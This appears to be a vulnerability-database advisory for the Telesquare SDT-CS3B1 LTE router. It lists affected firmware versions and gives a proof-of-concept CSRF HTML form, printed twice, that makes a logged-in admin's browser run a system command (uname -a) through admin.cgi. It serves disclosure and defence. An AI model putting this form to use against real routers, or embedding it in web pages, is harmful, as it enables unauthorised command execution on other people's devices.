Telesquare SKT LTE Router SDT-CS3B1 CSRF System Command Execution

2017-12-29T00:00:00
ID SSV:97029
Type seebug
Reporter Root
Modified 2017-12-29T00:00:00

Description

Summary

We introduce SDT-CS3B1 LTE router which is a SKT 3G and 4G LTE wireless communication based LTE router product.

Description

The router suffers from authenticated arbitrary system command execution. The application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site.

Vendor

Telesquare Co., Ltd. - http://www.telesquare.co.kr

Affected Version

  • FwVer: SDT-CS3B1, sw version 1.2.0
  • LteVer: ML300S5XEA41_090 1 0.1.0
  • Modem model: PM-L300S

Tested On

  • lighttpd/1.4.20

PoC

GET /admin/system_command.shtml HTTP/1.1

PoC GET CSRF request: <html> <body> <form action="http://10.0.0.17:8081/cgi-bin/admin.cgi"> <input type="hidden" name="Command" value="sysCommand" /> <input type="hidden" name="Cmd" value="uname%20-a" /> <input type="hidden" name="T" value="8168008531337" /> <input type="submit" value="Send" /> </form> </body> </html>

                                        
                                            
                                                <html>
  <body>
    <form action="http://10.0.0.17:8081/cgi-bin/admin.cgi">
      <input type="hidden" name="Command" value="sysCommand" />
      <input type="hidden" name="Cmd" value="uname%20-a" />
      <input type="hidden" name="T" value="8168008531337" />
      <input type="submit" value="Send" />
    </form>
  </body>
</html>